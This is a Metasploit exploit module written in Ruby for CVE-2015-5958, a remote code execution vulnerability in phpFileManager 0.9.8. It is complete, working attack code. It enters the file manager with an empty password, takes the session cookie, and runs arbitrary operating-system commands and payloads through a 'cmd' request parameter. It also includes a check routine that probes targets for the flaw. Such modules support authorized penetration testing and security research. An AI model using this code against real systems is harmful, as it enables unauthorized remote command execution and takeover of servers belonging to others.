##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'phpFileManager 0.9.8 Remote Code Execution',
        'Description' => %q{
          This module exploits a remote code execution vulnerability in phpFileManager
          0.9.8 which is a filesystem management tool on a single file.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'hyp3rlinx', # initial discovery
          'Jay Turla' # msf
        ],
        'References' => [
          [ 'CVE', '2015-5958' ],
          [ 'EDB', '37709' ],
          [ 'URL', 'http://phpfm.sourceforge.net/' ] # Official Website
        ],
        'Privileged' => false,
        'Payload' => {
          'Space' => 2000,
          'DisableNops' => true,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd'
                        }
        },
        'Platform' => %w{unix win},
        'Arch' => ARCH_CMD,
        'Targets' => [
          ['phpFileManager / Unix', { 'Platform' => 'unix' } ],
          ['phpFileManager / Windows', { 'Platform' => 'win' } ]
        ],
        'DisclosureDate' => '2015-08-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of phpFileManager', '/phpFileManager-0.9.8/index.php']),
      ]
    )
  end

  def check
    txt = Rex::Text.rand_text_alpha(8)
    res = http_send_command("echo #{txt}")

    if res && res.body =~ /#{txt}/
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def push
    uri = normalize_uri(target_uri.path)

    # To push the Enter button
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'frame' => '3',
        'pass' => '' # yep this should be empty
      }
    })

    if res.nil?
      vprint_error("Connection timed out")
      fail_with(Failure::Unknown, "Failed to trigger the Enter button")
    end

    if res && res.headers && res.code == 302
      print_good("Logged in to the file manager")
      cookie = res.get_cookies
      cookie
    else
      fail_with(Failure::Unknown, "#{peer} - Error entering the file manager")
    end
  end

  def http_send_command(cmd)
    cookie = push
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'cookie' => cookie,
      'vars_get' => {
        'action' => '6',
        'cmd' => cmd
      }
    })
    unless res && res.code == 200
      fail_with(Failure::Unknown, "Failed to execute the command.")
    end
    res
  end

  def exploit
    http_send_command(payload.encoded)
  end
end